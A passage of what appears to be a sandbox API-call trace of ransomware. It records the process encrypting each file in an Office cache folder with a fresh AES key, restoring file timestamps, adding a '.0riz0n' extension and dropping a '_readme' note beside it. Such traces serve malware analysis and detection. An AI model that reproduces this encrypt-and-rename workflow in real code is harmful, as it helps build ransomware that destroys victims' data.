[0078.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0078.917] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc138cb0, dwHighDateTime=0x1d301be)) returned 1 [0078.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.917] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0078.917] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0078.917] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.917] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0078.917] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.917] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0078.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x580) returned 0xf3a868 [0078.917] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x567, lpOverlapped=0x0) returned 1 [0078.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x580) returned 0xef94d8 [0078.919] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x567, dwBufLen=0x967 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x570) returned 1 [0078.919] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.919] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x567, lpOverlapped=0x0) returned 1 [0078.919] FlushFileBuffers (hFile=0x1f0) returned 1 [0078.922] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.922] NtClose (Handle=0x1f0) returned 0x0 [0078.923] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.0riz0n")) returned 1 [0078.923] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0078.923] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0078.923] GetLastError () returned 0x2 [0078.923] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed68e8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0078.924] GetLastError () returned 0x2 [0078.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.924] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.924] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0078.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x30d630 [0078.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0078.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d630) returned 1 [0078.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0078.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0078.925] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2ed, lpOverlapped=0x0) returned 1 [0078.925] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x43b71810, dwHighDateTime=0x1d59598)) returned 1 [0078.925] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.925] NtClose (Handle=0x1f0) returned 0x0 [0078.926] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0078.926] CryptDestroyKey (hKey=0x459b38) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0078.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0078.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.927] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1 [0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0078.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0078.927] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0078.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.927] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1 [0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0078.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0078.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.927] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1 [0078.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.928] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.928] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.928] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0078.928] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc301560, dwHighDateTime=0x1d301be)) returned 1 [0078.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.928] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0078.928] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0078.928] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.928] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0078.929] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.929] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0078.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2cb140) returned 0x2350020 [0078.929] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x2cb13b, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x2cb13b, lpOverlapped=0x0) returned 1 [0079.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2cb140) returned 0x2620020 [0079.108] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2620020*, pdwDataLen=0x17af858*=0x2cb13b, dwBufLen=0x2cb53b | out: pbData=0x2620020*, pdwDataLen=0x17af858*=0x2cb140) returned 1 [0079.143] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0079.143] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x2cb13b, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x2cb13b, lpOverlapped=0x0) returned 1 [0079.177] FlushFileBuffers (hFile=0x1f0) returned 1 [0079.188] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0079.188] NtClose (Handle=0x1f0) returned 0x0 [0079.229] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.0riz0n")) returned 1 [0079.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0079.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0079.230] GetLastError () returned 0x2 [0079.230] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6908, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0079.230] GetLastError () returned 0x2 [0079.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0079.231] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0079.231] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0079.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0079.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0079.232] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0079.232] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x43e6b390, dwHighDateTime=0x1d59598)) returned 1 [0079.232] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0079.232] NtClose (Handle=0x1f0) returned 0x0 [0079.233] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0079.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0079.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0079.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0079.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0079.246] CryptDestroyKey (hKey=0x459b38) returned 1 [0079.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0079.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0079.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0079.246] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0079.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0079.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0079.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0079.246] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0079.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0079.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0079.247] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0079.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0079.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0079.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0079.247] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0079.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0079.247] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0079.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0079.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0079.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0079.247] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc3e4630, dwHighDateTime=0x1d301be)) returned 1 [0079.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0079.248] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0079.248] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0079.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0079.248] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0079.248] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0079.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0079.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0079.248] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0079.248] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0079.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x940) returned 0x1acf180 [0079.249] ReadFile (in: hFile=0x1f0, lpBuffer=0x1acf180, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesRead=0x17af85c*=0x93a, lpOverlapped=0x0) returned 1 [0079.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x940) returned 0xf47748 [0079.250] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, 